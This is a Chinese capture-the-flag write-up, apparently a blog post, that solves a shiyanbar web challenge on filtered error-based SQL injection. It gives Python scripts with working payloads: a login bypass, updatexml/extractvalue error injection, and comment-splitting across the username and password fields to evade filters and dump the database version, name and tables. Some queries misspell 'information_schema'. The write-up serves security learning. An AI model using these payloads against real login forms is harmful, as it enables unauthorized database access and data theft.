实验吧 WEB 加了料的报错注入

打开页面是post注入,又是报错注入。所以就用到了burp,后来发现burp不好用,加了消息头也不好用,不知道为啥。既然是post那么就用脚本吧。
1.首先正常传参:

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1",'password':"1"})
print(s.text)

在这里插入图片描述2.看看是否能够绕过:

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"'or '1",'password':"'or '1"})
print(s.text)

查看回显,呦呵有点东西哈。sql语句在这里就不解释了,很简单。
在这里插入图片描述然后我又尝试了一个语句:
很明显这个语句跟上一个的语句一样,但是结果出现了sql注入检查

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and",'password':"'or 1='1"})
print(s.text)

很明显是过滤了某些东西,在这里我感觉是等于号毕竟等于号用处也是非常大的。
在这里插入图片描述
**

注入开始:

**
既然是加了料的报错,肯定是过滤了而且是报错。再次之前请允许小白在复习一次报错注入。
关于报错注入。
上脚本:

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+",'password':"'or '1"})
print(s.text)

在这里插入图片描述被检测到了一看就是被过滤了,加了料的嘛!那我们肯定就需要检查过滤函数,进行模糊测试啥的比如burp,但是burp又不好使。。。。emmmmmmmmmmmmmmmmm。(这里先绕过)
对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用,但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。
接下来就开始试后台的过滤逻辑,实验中发现:username中不允许使用(),也就是说无法使用函数,那报错注入岂不是没有办法做了?那用password注入呢?因为后台逻辑要查询两个字段,所以password字段在这道题里也可以注入。发现password中不允许使用floor、extractvalue等这些报错函数,也就是说报错注入在password这里也做不了了。也就是说,我们可以username里写报错函数名,password里写剩下的语句,但是这样会有多余的’and
password=‘那要怎么做呢?记得我们得知的SQL语句格式嘛? where username=’???’ and
password=’???’ 而sql语句中可以使用//注释掉中间的SQL语句。也就是说,我们可以使用//来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。
爆出数据库版本:

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and extractvalue/*",'password':"*/(1,concat(0x7e,(select version()))) and '1"})
print(s.text)

在这里插入图片描述爆出数据库名字:

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and extractvalue/*",'password':"*/(1,concat(0x7e,(select database()))) and '1"})
print(s.text)

在这里插入图片描述爆出表名:

import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and extractvalue/*",'password':"*/(1,concat(0x7e,(select group_concat(table_name) from infromation_schema.tables where !table_schema<>'error_based_hpf'))) and '1"})
print(s.text)
import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and extractvalue/*",'password':"*/(1,concat(0x7e,(select group_concat(table_name) from infromation_schema.tables where table_schema regexp 'error_based_hpf'))) and '1"})
print(s.text)
import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and extractvalue/*",'password':"*/(1,concat(0x7e,(select group_concat(table_name) from infromation_schema.tables where table_schema regexp 'error_based_hpf'))) and '1"})
print(s.text)
import requests
url="http://ctf5.shiyanbar.com/web/baocuo/index.php"
r=requests.session()
s=r.post(url,data={'username':"1' and extractvalue/*",'password':"*/(1,concat(0x7e,(select group_concat(table_name) from infromation_schema.tables where table_schema in (十六进制)))) and '1"})
print(s.text)

以上三种都可以。
爆出列、表我都不在说了。最后还要说一句实验吧的题太差了。。。。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值